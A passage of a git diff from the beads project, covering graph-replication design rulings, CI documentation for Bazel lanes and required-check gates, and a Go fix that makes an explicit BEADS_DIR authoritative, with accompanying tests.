+backends; a registered backend's serving behavior (rows absent). + +## Part C2 — What changes that an earlier draft claimed did not + +- **Merge, pull, and sync.** Every `DOLT_PULL`/`DOLT_MERGE` route (the + `versioncontrolops` exports — seven in `mergesettle.go`, plus + `fastforward.go` and `automerge.go`; `doltCLIPull`, `Pull`, `PullRemote`, + `pullTransport`/`pullWithAutoResolve` in `internal/storage/dolt/store.go`; + the UOW leg's `doltVersionControlSQLRepository`; embedded federation sync; + the remote-migrate gate's fast-forward `DOLT_MERGE`) can change graph + state outside the roles — the ruling-13 triggers are silent on merge and + pull (probed) — so, under ruling 14, every SQL pull route **fetches, + inspects the eight tables against the tracking ref, and refuses a + foreign or unexplained delta before merging** (`DOLT_PULL` commits a + clean merge immediately and `ROLLBACK` does not undo it — probed — so + inspection is the only pre-merge refusal point); routes that cannot + inspect first fall to the **state-change validator** (B3), which reverts + the eight tables to the recorded HEAD in a new commit or marks the + witness `unverified`; no graph-table conflict is auto-resolved and + `--strategy` never touches one; a workspace without a witness takes the + remote's graph state wholesale. The replication/merge ADR + (`engdocs/BDP_GRAPH_REPLICATION_ADR.md`) writes the mechanism under that + charter before the migrations land. +- **Federation.** Graph tables ride filtered pushes **unfiltered, by + decision, in v0**; the lease table never replicates. +- **`bd sql`, raw SQL, and force-push.** Out of contract for graph tables + (ruling 13): raw DML on the eight replicated tables is refused by the + row-level fence unless the session set `@bd_graph_role`; force-push and + merges are the validator's and ruling 14's. `bd sql` itself is unchanged — + no flag; a legacy statement never names a graph table. +- **`bd dolt pull`, `bd federation sync`, `bd vc merge`, `bd conflicts + resolve`** gain the fetch-inspect step (one `DOLT_FETCH`, eight `dolt_diff` + reads against the tracking ref) before merging and the graph-table + exclusion for `--strategy` (ruling 14); gate output is byte-identical + unless a graph delta is refused. +- **`bd backup restore`** calls `Admin.MarkUnverified` after + `RestoreDatabase`, before its commit (no-op without a witness). +- **Root store policy** gains `commandPolicy` (Part A), and + `commandNeedsExclusiveGate` in `cmd/bd/workspace_gate.go` — today true only + for `backup restore` — learns `bd --graph-mode link types install`, `restore`, and + `ledger apply`. +- **`bd init`** gains the three `.beads/.gitignore` entries and installs no + descriptors (the catalog moves to `Mint`). +- **`bd config set`/`set-many`/`unset`** refuse `bdp.scope_url` once a + witness is held. +- **The UOW leg** gains `RunTxScopedResult` and `PublishGraphMutation`; the + version-control repository gains `MergeBase`, `ResetSoft`, + `CheckoutTables`, `Revert`, `HashOfTables`. +- **The doctor** gains an error-class finding for a tracked witness; the + `domain/fs` `WriteBeadsGitignore` writer shares the template and gains the + entries too (hygiene check D already warns and skips without a base ref — + no change there). + +## Part D — Open implementation questions (not rulings) + +1. Proposed numbers (`MaxExpandedRows`, `MaxCatalog`, page bounds, value + limit, lease TTL, heartbeat, grace) fixed at P1 with rationale. +2. Whether the P1 fixture writer becomes the internal half of `Writer`. +3. Generator choice for `bdpwire` — recorded at P0 (2026-09-07): hand-written + DTOs held to the vendored bundle by tests (B8; `GENERATOR.md`). +4. Whether `bd --graph-mode link serve` remains after W2 (default: yes). +5. Whether hazard-R publication should use an isolated branch instead of + soft-reset/checkout/revert. The constraint that decides it survives A9: + the ephemeral lease table lives in the default branch's working set and + branch-qualified sessions do not see it, so every fenced transaction runs + on the default branch. +6. The adoption verb for the later of two mints under one URL (ruling 14, + law 3) — name and shape fixed in the replication/merge ADR. +7. **Ruled 2026-09-08 (A):** the state-change validator and ruling 14's + fetch-inspect set carry a fence census over `dolt_schemas` (three triggers + per replicated table; repaired with the migration's idempotent pair; never + part of the graph-state version). + +## Part E — Ruled amendments (A1–A9 and 13–14: 2026-09-07; A10: 2026-09-08) + +Ruled: A1 store-owned witness asserted in every transaction is the v0 lease +(ruling 9); A2 BDP rows inside `httpapi`, `bd --graph-mode link serve` the +only minting path among serving commands (A10 separately permits local solo +minting), `bd serve` never refusing on account of the graph, +intra-Scope references Scope-relative and a new base URL a rotation +(rulings 7b/12); A3 the `--graph-mode link|dependency` root flag with a +mode-and-path-keyed policy; A4 public `graphops`, `BeadGraph*` accessors, no +`backend/` aliases; A5 installation-keyed witness with multi-phase +transitions, hash-chained ledger, ledger lane restoring anti-reuse history, +provider `LedgerDurability`; A6 tracked `bdp.scope_url`, per-workspace keys in +`config.local.yaml`, tokens from files only; A7's shared-database half (the +fence cell); A9 v0 authority requires a shared database outside A10's +embedded solo exception; the remote half of A7 is deferred to the write-profile +ADR; A8 option A — constraint #1 scoped to +behavior, out-of-tree implementers take the declared source break with six +stubs and a CHANGELOG call-out. Ruling 13 (out-of-role DML, "A+B"): out of +contract, the state-change validator with ledger accounting, and +session-gated triggers on the eight replicated tables (B3, B4, B7, C2). +Ruling 14 (replication/merge ADR, option B): the gate plus the four-law +charter — fetch-inspect-merge on the SQL pull routes, validator revert +elsewhere, no auto-resolve or `--strategy` on graph tables, foreign deltas +refused whole, clones take remote state wholesale (B3, B7, C2). +A10 (solo topology, B), Part D.7 (fence census, A), the +`authority_epoch` spelling, and the properties-are-opaque amendment (bdp#1 +item 5) ruled 2026-09-08. **These rulings are settled.** Full A10 text is in +architecture §2b; current BDP #19/#20, History #30 and Jim dependencies are in the plan +§0a refresh of 2026-09-12. Local solo verbs do not authorize embedded HTTP +serving. diff --git a/engdocs/CI_CLEANUP_PLAN.md b/engdocs/CI_CLEANUP_PLAN.md index 24679fd70..61cf9ab3a 100644 --- a/engdocs/CI_CLEANUP_PLAN.md +++ b/engdocs/CI_CLEANUP_PLAN.md @@ -1,6 +1,6 @@ # CI Cleanup Plan -Last reviewed: 2026-08-14 +Last reviewed: 2026-09-03 Freshness source: `engdocs/CI_TEST_SURFACE_AUDIT.md`, `.github/workflows/*.yml`, `.buildflags`, `.golangci.yml`, `scripts/ci/pr-lint.sh`, `scripts/pr-lint/`, @@ -170,12 +170,15 @@ easy to identify and rerun. It includes: downloads, a five-minute timeout, and the `gms_pure_go` build tag. - A second non-CGO Windows cross-lint pass when the native target does not already cover that build tuple. +- A third non-CGO darwin (arm64) cross-lint pass under the same rule. Both + cross-lints are compile-only passes on the Linux runner; they add no macOS or + Windows runner and do not change the platform column above. -The two lint passes and their target selection are owned by the +All three lint passes and their target selection are owned by the checkout-local `scripts/pr-lint` Go driver. The Bash wrapper retains formatting, direct invocation, and aggregate timing without duplicating that policy. -Both passes are SCOPED BY LANE. On a PR the wrapper takes +All three passes are SCOPED BY LANE. On a PR the wrapper takes `BD_LINT_NEW_FROM_MERGE_BASE` and reports only the findings that PR introduces, matching the `only-new-issues` setting on the sibling `lint` job; on a push to `main`, and for anyone running `make ci-pr-lint` by hand, it is unset and the @@ -771,7 +774,7 @@ artifacts, so `postinstall` URLs are populated before the package is published. where practical so branch-protection migration can be handled separately. 10. Add stable aggregate required-check candidates after the split. Initial aggregate jobs exist on branch `ci/bd-am3.1-wrapper-commands` as - `PR / CI Gate / Required` and `PR Risk / CI Gate / Required`, backed by + `PR / CI Gate / Required` and `PR Risk / PR Risk Gate / Required`, backed by `.github/scripts/ci-gate.sh`. ## Deferred Decisions diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 3de6f93c5..ef55834dc 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1,7 +1,7 @@ # Required Check Topology -Status: aggregate gate jobs are implemented; branch-protection and ruleset -adoption remain pending. The aggregate-gate policy below remains maintainer +Status: aggregate gate jobs are implemented, and the default-branch ruleset +requires both aggregates (see Current State). The aggregate-gate policy below remains maintainer context, but `.github/workflows/*.yml` and their structural tests are authoritative for current job membership and display names. Copied workflow wiring and rollout steps in this note describe the initial rollout, not the @@ -36,12 +36,43 @@ Current PR-related workflow names: - `.github/workflows/pr.yml`: `PR` Runs on `pull_request` and `merge_group`. Contains the baseline PR jobs, Linux build artifact stage, policy/lint compatibility jobs, package gates - that consume the Linux artifact, focused storage domain/uow coverage, and - the baseline aggregate gate `PR / CI Gate / Required`. + that consume the Linux artifact, focused storage domain/uow coverage, the + Bazel lane (the `bazel` job calls `bazel.yml`), and the baseline aggregate + gate `PR / CI Gate / Required`. +- `.github/workflows/bazel.yml`: `Bazel` + Runs on `push` to `main`, manual dispatch, and `workflow_call` only. PRs and + merge groups run it once, through `pr.yml`'s `bazel` job. Its `rbe` job + decides the execution mode once (`remote`, `local` for fork and Dependabot + PRs, or `skip` while the `RBE_WEST_WORKERS` repo variable is unset) and + exports it as the `rbe-mode` / `rbe-enabled` outputs; every lane exports its + `job.status` as an output named after the job. `pr.yml`'s gate requires the + call's result (`BAZEL`) and `BAZEL_TEST`, `BAZEL_PURE`, `BAZEL_EMBEDDED`, + `BAZEL_DOLTSERVER`, `BAZEL_PROXIED` and `BAZEL_SERVER_STORAGE`. The legacy jobs these mirror stay required in `pr.yml` + and `pr-risk.yml`. + `.github/scripts/bazel-gate.sh` reads the exported mode, never the variable + or the fork flag: mode `skip` allows every Bazel id to skip, mode `local` + allows only the remote-only `BAZEL_EMBEDDED`, `BAZEL_PROXIED` and + `BAZEL_SERVER_STORAGE` (fork and Dependabot PRs rely on `pr-risk.yml`'s + legacy tiers for those), and mode `remote` allows none. + A lane that should run and fails, is cancelled, or reports no result fails + the gate, and so does a missing or invalid mode. + `bazel-integration` is not part of the PR call (`pr.yml` passes + `integration: "off"`) and has no gate id: its legacy counterparts + (`main.yml`'s integration jobs) run only on push to `main`, and so does it + (plus dispatch and nightly). `scripts/ci_workflow_test.go` fails when a new + `bazel.yml` job has neither a gate id nor an advisory entry. + Runbook: if `main`'s Bazel BUILD files drift (every PR's Bazel lanes go + red, and autofix only patches packages the PR itself changed), the RBE + farm is down, or the beads CI RBE client certificate expires (about + 2027-09-27; a partial secret set also fails every same-repo run), fix + `main` (`make bazel-sync`) or renew the secrets, or unset the + `RBE_WEST_WORKERS` repo variable: same-repo runs then take mode `skip`, + which the gate accepts (fork PRs still run locally, so drift on `main` + still reaches them). - `.github/workflows/pr-risk.yml`: `PR Risk` Runs on `pull_request` and `merge_group`. Contains embedded Dolt risk detection, embedded build/test shards, the Nix flake smoke check, and the - risk aggregate gate `PR Risk / CI Gate / Required`. + risk aggregate gate `PR Risk / PR Risk Gate / Required`. - `.github/workflows/main.yml`: `Main` Runs on pushes to `main`. Contains the main branch health checks, package gates, platform smoke/short coverage, embedded Dolt coverage, and promoted @@ -63,7 +94,17 @@ Current PR-related workflow names: As of 2026-05-26, the live `gastownhall/beads` ruleset named `Protect main - light (beads and gastown)` enforces deletion and non-fast-forward -protection on the default branch. It does not currently require status checks. +protection on the default branch. It does not require status checks. + +Since 2026-09-29 a second, beads-only ruleset, `beads main: required CI +gates`, is active on the default branch. It requires the GitHub Actions +checks `CI Gate / Required` (`pr.yml`, which includes the Bazel lanes through +the `bazel` call) and `PR Risk Gate / Required` (`pr-risk.yml`). PR Risk's +gate job was renamed from `CI Gate / Required` to `PR Risk Gate / Required` +(#6939), so the two required contexts are distinct; before that both +workflows reported the same check name. Organization admins and one team +may bypass it. There is no merge queue, so the checks run on +`pull_request`. ## Required Check Contract @@ -76,7 +117,7 @@ rollout uses one aggregate per required workflow. An external status aggregator would only be needed if maintainers still want exactly one required check. - Baseline aggregate candidate: `PR / CI Gate / Required` -- Risk aggregate candidate: `PR Risk / CI Gate / Required` +- Risk aggregate candidate: `PR Risk / PR Risk Gate / Required` - Source: GitHub Actions - Required on: pull requests and merge queue groups targeting `main` @@ -102,6 +143,7 @@ Do not require these existing check names directly: - `Upgrade smoke ( -> candidate)` - `Resolve versions to test` - `nix build .#default` +- `Bazel / test` and the other jobs of `bazel.yml` Those checks should remain visible for diagnosis, but branch protection should point at aggregate gates after the gate jobs are verified. diff --git a/engdocs/CI_TEST_SURFACE_AUDIT.md b/engdocs/CI_TEST_SURFACE_AUDIT.md index 76c5fad70..18133fff6 100644 --- a/engdocs/CI_TEST_SURFACE_AUDIT.md +++ b/engdocs/CI_TEST_SURFACE_AUDIT.md @@ -161,7 +161,7 @@ The former monolithic `ci.yml` has been split by tier/domain: the aggregate check `PR / CI Gate / Required`. - `pr-risk.yml`: pull request and merge queue risk jobs. It owns embedded Dolt risk detection, embedded build/storage/cmd shards, the Nix flake smoke, and - the aggregate check `PR Risk / CI Gate / Required`. + the aggregate check `PR Risk / PR Risk Gate / Required`. - `main.yml`: push-to-`main` branch health. It reruns the baseline wrappers, package gates, Linux/macOS short coverage, Windows smoke, embedded Dolt, Nix, storage domain/uow, and promoted Linux no-short integration shards. @@ -183,7 +183,7 @@ Key jobs preserved by display name: - `Build (Embedded Dolt)`, `Test (Embedded Dolt Storage N/5)`, and `Test (Embedded Dolt Cmd N/20)`. - Aggregate required-check candidates: `PR / CI Gate / Required` and - `PR Risk / CI Gate / Required`. + `PR Risk / PR Risk Gate / Required`. - Main-only platform and integration jobs: `Test (ubuntu-latest)`, `Test (macos-latest)`, `Test (Windows - smoke)`, `Main Linux integration packages (N/6)`, and diff --git a/engdocs/DOC_INVENTORY.md b/engdocs/DOC_INVENTORY.md index 860bcb9cb..b9c4ba5a9 100644 --- a/engdocs/DOC_INVENTORY.md +++ b/engdocs/DOC_INVENTORY.md @@ -1,5 +1,6 @@ # Documentation Disposition Inventory +Graph-plane design records added: 2026-09-10. Reviewed: 2026-07-07 (paths updated 2026-07-10 for the Mintlify port: user docs now live in the docs/ site tree; this ledger and other internal docs live in engdocs/) CI cleanup entry added: 2026-05-28 @@ -57,6 +58,9 @@ Follow-up automation should replace marker-only checks with generated or | `ANTIVIRUS.md` | Keep | User-facing operational note; review vendor/version claims when touched. | | `ARCHITECTURE.md` | Keep | Primary architecture overview; evidence is current package layout and Dolt-only storage path. | | `ATTRIBUTION.md` | Keep | Attribution record for removed merge engine. | +| `BDP_BEAD_GRAPH_PLAN.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | +| `BDP_GRAPH_ARCHITECTURE.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | +| `BDP_GRAPH_CLI_AND_STORAGE_SPEC.md` | Keep | Graph-plane design record; ruled contracts and dated dependency sources, not runtime or merge clearance. | | `CLAUDE_INTEGRATION.md` | Keep | Design/user guide for Claude setup; paired with `SETUP.md`. | | `CLAUDE.md` | Revise | Kept as architecture orientation only; command/workflow duplication was reduced in favour of root `AGENTS.md` and `AGENT_INSTRUCTIONS.md`. | | `CLI_REFERENCE.md` | Keep/generated | Generated command reference from live help output. | diff --git a/engdocs/LINTING.md b/engdocs/LINTING.md index c30d59494..7f8a2ade7 100644 --- a/engdocs/LINTING.md +++ b/engdocs/LINTING.md @@ -42,11 +42,14 @@ The wrapper runs: `.golangci.yml`, readonly module downloads, a five-minute timeout, the `gms_pure_go` build tag, and `--new-from-merge-base` when `BD_LINT_NEW_FROM_MERGE_BASE` names a ref, then runs the same scope for the - non-CGO Windows target when the native host does not already cover it. + non-CGO Windows target and the non-CGO darwin (arm64) target when the native + host does not already cover them, so `//go:build windows && !cgo` and + `//go:build darwin` files are linted from the Linux runner. The shell wrapper records one aggregate timing for the Go lint driver. The -driver prints a heading and result for each native or Windows pass so failures -remain attributable without duplicating target-selection policy in Bash. +driver prints a heading and result for each native or cross-target pass so +failures remain attributable without duplicating target-selection policy in +Bash. The shared driver owns the lint passes used by `scripts/ci/pr-lint.sh` and Beads-source `bd preflight`. The standalone workflow lint action and pre-commit diff --git a/engdocs/TESTING.md b/engdocs/TESTING.md index aba1ea3b6..53ea74270 100644 --- a/engdocs/TESTING.md +++ b/engdocs/TESTING.md @@ -81,6 +81,39 @@ To skip an optional service explicitly, use the existing skip mechanism: BEADS_TEST_SKIP=dolt ./scripts/test.sh ./... ``` +Tests that need a Dolt SQL server get one from `internal/testutil` +(`EnsureDoltContainerForTestMain`, `RequireDoltContainer`, +`StartIsolatedDoltContainer[Handle]`, `NewContainerProvider`). Two backends +sit behind that API, selected by `BEADS_TEST_DOLT_SERVER`: + +- `container`: the `dolthub/dolt-sql-server` image through testcontainers + (needs docker and the pulled image). The default under plain `go test`. +- `local`: a `dolt sql-server` started by the test process from the pinned + dolt CLI (`BEADS_TEST_DOLT_BINARY`, else `dolt` on `PATH`; it must be the + image's version). No docker. Used only when explicitly selected, under + `go test` and `bazel test` alike (a Bazel target's `env`, or + `--test_env=BEADS_TEST_DOLT_SERVER=local`); unset means `container`, which + in a Bazel action without docker keeps the usual skip. + +`BEADS_TEST_REQUIRE_DOLT_CONTAINER=1` turns an unavailable backend into a +failure (per test and in every `TestMain`) instead of a skip; lanes that +exist to run the Dolt suites set it. + +Under Bazel, `bazel test //... --config=doltserver` runs the Dolt-backed +suites of pr.yml's "Test (storage domain + uow)" and "Contract corpus" jobs +on the `local` backend (the `dolt-server` targets); they need no docker and +execute remotely with `--config=remote-exec`. `--config=docker` runs the same +suites on the `container` backend (host docker) as the A/B control. +PR Risk's heavier server tiers have configs of their own, run by bazel.yml +only with remote execution, each in a job of its own (`bazel-proxied`, +`bazel-server-storage`): `--config=doltserver-proxied` is the +proxied-server cmd/bd tier ("Test (Proxied Dolt Cmd N/15)", +`//cmd/bd:bd_proxied_test`), and `--config=doltserver-integration` the +server-Dolt storage tier ("Test (Server Dolt Conformance)", "Test (Server +Dolt Full Suite N/16)", `//internal/storage/dolt:dolt_server_*_test`), which +builds with the integration tag like `--config=integration`. Each shard +runs its CI job's shard script, so Bazel shard k runs the tests of job k+1. + Tests that need a temporary repository or store should use `t.TempDir()` and `t.Cleanup()`. Temporary repositories must set a repository-local hooks path; do not inherit the developer's global hooks configuration. diff --git a/go.mod b/go.mod index df54d03a2..40c6d484e 100644 --- a/go.mod +++ b/go.mod @@ -154,7 +154,7 @@ require ( github.com/dolthub/gozstd v0.0.0-20240423170813-23a2903bca63 // indirect github.com/dolthub/ishell v0.0.0-20260414231531-5f031e3e9037 // indirect github.com/dolthub/jsonpath v0.0.2-0.20240227200619-19675ab05c71 // indirect - github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 // indirect + github.com/dolthub/vitess v0.0.0-20260728212736-0542037326d7 github.com/dustin/go-humanize v1.0.1 // indirect github.com/ebitengine/purego v0.10.0 // indirect github.com/edsrzf/mmap-go v1.2.0 // indirect diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index 9c27bb763..a70952f1f 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -24,14 +24,21 @@ go_test( name = "beads_test", srcs = [ "beads_coverage_test.go", + "beads_hash_multiclone_test.go", "beads_inherited_artifacts_test.go", + "beads_integration_test.go", + "beads_multidb_test.go", + "beads_symlink_test.go", "beads_test.go", "context_test.go", "cwd_priority_test.go", + "explicit_beads_dir_test.go", "fingerprint_test.go", + "routing_integration_test.go", "sqlite_database_path_test.go", "suite_temp_test.go", "testmain_default_test.go", + "testmain_integration_test.go", "testmain_test.go", ], embed = [":beads"], @@ -41,7 +48,11 @@ go_test( "//internal/doltserver", "//internal/git", "//internal/gitenv", + "//internal/routing", + "//internal/storage/dolt", "//internal/testutil", + "//internal/testutil/bazeltest", + "//internal/types", "//internal/utils", ], ) diff --git a/internal/beads/beads.go b/internal/beads/beads.go index 7113d75dd..ff04a75a9 100644 --- a/internal/beads/beads.go +++ b/internal/beads/beads.go @@ -892,11 +892,26 @@ func hasBeadsDatabase(beadsDir string) bool { return false } +// ExplicitBeadsDir returns the .beads directory named by the BEADS_DIR +// environment variable, canonicalized and with any redirect followed, or "" +// when BEADS_DIR is unset. Unlike FindBeadsDir it does not require the +// directory to exist or to hold project files, so commands that create a +// workspace can target the caller's explicit choice instead of CWD. +func ExplicitBeadsDir() string { + beadsDir := os.Getenv("BEADS_DIR") + if beadsDir == "" { + return "" + } + return FollowRedirect(canonicalizeBeadsDirPath(beadsDir)) +} + // FindBeadsDir finds the .beads/ directory in the current directory tree. // Returns empty string if not found. // // Resolution order: -// 1. BEADS_DIR environment variable (highest priority) +// 1. BEADS_DIR environment variable (highest priority). An explicit +// BEADS_DIR is authoritative: when it does not (yet) hold project files, +// FindBeadsDir returns "" instead of discovering some other workspace. // 2. Walk up from CWD toward repo root boundary, checking each directory // for .beads/ with valid project files. For worktrees, stops at the // worktree root; for non-worktrees, stops at the git root. @@ -911,18 +926,20 @@ func hasBeadsDatabase(beadsDir string) bool { // contents are used as the actual .beads directory path. func FindBeadsDir() string { // 1. Check BEADS_DIR environment variable (preferred) - if beadsDir := os.Getenv("BEADS_DIR"); beadsDir != "" { - absBeadsDir := canonicalizeBeadsDirPath(beadsDir) - - // Follow redirect if present - absBeadsDir = FollowRedirect(absBeadsDir) - + if absBeadsDir := ExplicitBeadsDir(); absBeadsDir != "" { if info, err := os.Stat(absBeadsDir); err == nil && info.IsDir() { // Validate directory contains actual project files if hasBeadsProjectFiles(absBeadsDir) { return absBeadsDir } } + + // The caller named this directory explicitly. Walking up from CWD + // here would bind an unrelated ancestor workspace (and PersistentPreRun + // would then rewrite BEADS_DIR to it), so `bd init` and every other + // command would act on the wrong store. Report "not found" instead, + // matching FindDatabasePath. + return "" } // 2. Walk up from CWD toward the repo root, checking each directory for .beads/. diff --git a/internal/beads/explicit_beads_dir_test.go b/internal/beads/explicit_beads_dir_test.go new file mode 100644 index 000000000..527be25c9 --- /dev/null +++ b/internal/beads/explicit_beads_dir_test.go @@ -0,0 +1,116 @@ +package beads + +import ( + "os" + "os/exec" + "path/filepath" + "testing" +) + +// explicitBeadsDirFixture builds a git repo whose root holds an initialized +// workspace (parent/.beads with metadata.json) and a child directory that has +// not been initialized yet. It chdirs into the child, so an unconstrained walk +// up from CWD would bind the parent workspace. +func explicitBeadsDirFixture(t *testing.T) (parentBeadsDir, childDir string) { + t.Helper() + root := t.TempDir() + cmd := exec.Command("git", "init", "--quiet", root) + cmd.Env = append(os.Environ(), "GIT_CONFIG_NOSYSTEM=1", "HOME="+root, "XDG_CONFIG_HOME="+root) + if out, err := cmd.CombinedOutput(); err != nil { + t.Skipf("git not available: %v: %s", err, out) + } + parentBeadsDir = filepath.Join(root, ".beads") + if err := os.MkdirAll(parentBeadsDir, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(parentBeadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"parent"}`), 0o600); err != nil { + t.Fatal(err) + } + childDir = filepath.Join(root, "child") + if err := os.MkdirAll(childDir, 0o700); err != nil { + t.Fatal(err) + } + t.Chdir(childDir) + return parentBeadsDir, childDir +} + +// TestFindBeadsDir_ExplicitBEADS_DIRIsAuthoritative verifies that an explicit +// BEADS_DIR which does not (yet) hold project files is never replaced by a +// workspace discovered by walking up from CWD. Before the fix, FindBeadsDir +// silently fell back to the ancestor walk, so every command — including +// `bd init` after PersistentPreRun rebinds BEADS_DIR — targeted the parent +// workspace instead of the directory the caller named. +func TestFindBeadsDir_ExplicitBEADS_DIRIsAuthoritative(t *testing.T) { + cases := []struct { + name string + setup func(t *testing.T, explicit string) + }{ + {name: "missing", setup: func(*testing.T, string) {}}, + {name: "empty", setup: func(t *testing.T, explicit string) { + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + }}, + {name: "non-project files only", setup: func(t *testing.T, explicit string) { + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(explicit, "registry.json"), []byte("[]"), 0o600); err != nil { + t.Fatal(err) + } + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + parentBeadsDir, childDir := explicitBeadsDirFixture(t) + explicit := filepath.Join(childDir, ".beads") + tc.setup(t, explicit) + t.Setenv("BEADS_DIR", explicit) + + if got := FindBeadsDir(); got != "" { + t.Fatalf("FindBeadsDir() = %q with BEADS_DIR=%q; want \"\" (explicit BEADS_DIR must not fall back to the ancestor workspace %q)", got, explicit, parentBeadsDir) + } + if got := FindDatabasePath(); got != "" { + t.Fatalf("FindDatabasePath() = %q with BEADS_DIR=%q; want \"\"", got, explicit) + } + }) + } +} + +// TestFindBeadsDir_ExplicitBEADS_DIRSelectedOnceInitialized verifies the +// explicit directory is returned as soon as it holds project files, even with +// an initialized ancestor workspace. +func TestFindBeadsDir_ExplicitBEADS_DIRSelectedOnceInitialized(t *testing.T) { + _, childDir := explicitBeadsDirFixture(t) + explicit := filepath.Join(childDir, ".beads") + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(explicit, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"child"}`), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", explicit) + + got, _ := filepath.EvalSymlinks(FindBeadsDir()) + want, _ := filepath.EvalSymlinks(explicit) + if got != want { + t.Fatalf("FindBeadsDir() = %q; want explicit BEADS_DIR %q", got, want) + } +} + +// TestFindBeadsDir_UnsetBEADS_DIRStillWalksUp pins the unchanged behaviour +// when BEADS_DIR is not set: discovery walks up from CWD to the ancestor +// workspace. +func TestFindBeadsDir_UnsetBEADS_DIRStillWalksUp(t *testing.T) { + parentBeadsDir, _ := explicitBeadsDirFixture(t) + t.Setenv("BEADS_DIR", "") + if err := os.Unsetenv("BEADS_DIR"); err != nil { + t.Fatal(err) + } + + got, _ := filepath.EvalSymlinks(FindBeadsDir()) + want, _ := filepath.EvalSymlinks(parentBeadsDir) + if got != want { + t.Fatalf("FindBeadsDir() = %q; want ancestor workspace %q", got, want) + } +} diff --git a/internal/beads/testmain_integration_test.go b/internal/beads/testmain_integration_test.go index 1fca8dca5..7251802c1 100644 --- a/internal/beads/testmain_integration_test.go +++ b/internal/beads/testmain_integration_test.go @@ -27,7 +27,10 @@ func setupIntegrationTestMain(root string) (func(), error) { os.Setenv("BEADS_TEST_SERVER", "1") if err := testutil.EnsureDoltContainerForTestMain(); err != nil { - fmt.Fprintf(os.Stderr, "WARN: %v, skipping Dolt tests\n", err) + if testutil.DoltUnavailableForTestMain(err) { + cleanup() + return nil, err + } return cleanup, nil } diff --git a/internal/compact/BUILD.bazel b/internal/compact/BUILD.bazel index 4eeae10e3..4218b4b98 100644 --- a/internal/compact/BUILD.bazel +++ b/internal/compact/BUILD.bazel @@ -26,6 +26,7 @@ go_library( go_test( name = "compact_test", srcs = [ + "compactor_test.go", "compactor_unit_test.go", "git_test.go", "haiku_test.go", @@ -33,6 +34,8 @@ go_test( embed = [":compact"], deps = [ "//internal/config", + "//internal/storage/dolt", + "//internal/testutil", "//internal/types", "@com_github_anthropics_anthropic_sdk_go//:anthropic-sdk-go", ], diff --git a/internal/config/permissions_open_nonlinux.go b/internal/config/permissions_open_nonlinux.go index a203ed60f..c1f4e3411 100644 --- a/internal/config/permissions_open_nonlinux.go +++ b/internal/config/permissions_open_nonlinux.go @@ -8,5 +8,6 @@ import "os" // caller's descriptor identity check prevents chmod unless it still refers to // the directory inspected with Lstat. func openBeadsDirHandle(path string) (beadsDirHandle, error) { + //nolint:gosec // G304: path is the .beads directory fixBeadsDirPermissions just inspected with Lstat; its descriptor identity check gates the chmod. return os.Open(path) } diff --git a/internal/config/user_config_path.go b/internal/config/user_config_path.go index b810d89f1..629b2294d 100644 --- a/internal/config/user_config_path.go +++ b/internal/config/user_config_path.go @@ -5,6 +5,7 @@ import ( "fmt" "os" "path/filepath" + "runtime" ) const userConfigYamlDisplayFallback = "~/.config/bd/config.yaml" @@ -27,6 +28,20 @@ func currentUserConfigYamlCandidates() userConfigYamlCandidates { return buildUserConfigYamlCandidates(homeDir, homeErr, nativeConfigDir, nativeErr) } +// nativeUserConfigValidationSource names the source of a relative directory +// returned without a resolver error. On Unix, os.UserConfigDir already rejects +// relative XDG_CONFIG_HOME values itself; only HOME can reach our validation. +func nativeUserConfigValidationSource() string { + switch runtime.GOOS { + case "windows": + return "APPDATA" + case "plan9": + return "home" + default: + return "HOME" + } +} + func buildUserConfigYamlCandidates(homeDir string, homeErr error, nativeConfigDir string, nativeErr error) userConfigYamlCandidates { var candidates userConfigYamlCandidates @@ -37,7 +52,13 @@ func buildUserConfigYamlCandidates(homeDir string, homeErr error, nativeConfigDi candidates.documented = filepath.Clean(filepath.Join(home, ".config", "bd", "config.yaml")) } - if nativeDir, err := cleanAbsoluteUserDirectory("native user config directory", nativeConfigDir, nativeErr); err != nil { + nativeLabel := "native user config directory" + if nativeErr == nil { + nativeLabel += " (" + nativeUserConfigValidationSource() + ")" + } + // Resolver errors already identify their source; retain that diagnostic + // without inferring it from a later read of the process environment. + if nativeDir, err := cleanAbsoluteUserDirectory(nativeLabel, nativeConfigDir, nativeErr); err != nil { candidates.nativeErr = err } else { candidates.native = filepath.Clean(filepath.Join(nativeDir, "bd", "config.yaml")) diff --git a/internal/config/user_config_path_test.go b/internal/config/user_config_path_test.go index a10048d78..031f05032 100644 --- a/internal/config/user_config_path_test.go +++ b/internal/config/user_config_path_test.go @@ -4,9 +4,75 @@ import ( "errors" "os" "path/filepath" + "runtime" + "strings" "testing" ) +func TestUserConfigYamlPathNamesNativeEnvironmentSource(t *testing.T) { + t.Setenv("HOME", "~") + t.Setenv("USERPROFILE", "~") + t.Setenv("home", "~") + t.Setenv("APPDATA", "relative-appdata") + for _, xdg := range []string{"relative-xdg", ""} { + name := "XDG configured" + wantSource := "XDG_CONFIG_HOME" + if xdg == "" { + name, wantSource = "XDG absent", "HOME" + } + switch runtime.GOOS { + case "windows": + wantSource = "APPDATA" + case "darwin", "ios": + wantSource = "HOME" + case "plan9": + wantSource = "home" + } + t.Run(name, func(t *testing.T) { + t.Setenv("XDG_CONFIG_HOME", xdg) + path, err := UserConfigYamlPath() + if err == nil || path != "" { + t.Fatalf("unsafe roots produced path %q, err=%v", path, err) + } + 